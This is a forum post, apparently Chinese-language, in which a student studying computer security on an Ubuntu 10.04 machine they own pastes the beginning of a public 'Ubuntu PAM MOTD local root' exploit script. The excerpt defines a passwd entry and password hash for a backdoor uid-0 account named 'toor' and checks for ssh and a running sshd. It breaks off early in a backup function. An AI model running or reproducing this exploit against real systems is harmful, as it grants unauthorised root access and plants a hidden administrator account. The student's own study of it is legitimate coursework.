对于我大学的计算机安全任务,我需要找到并了解在 ubuntu 10.04 上运行的漏洞。我已经在一台 Ubuntu 10.04 机器(我拥有)上找到并测试了一个
这是漏洞利用,以普通用户身份运行,为您提供 root 访问权限。取自进攻性安全网站。
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] …
Run Code Online (Sandbox Code Playgroud)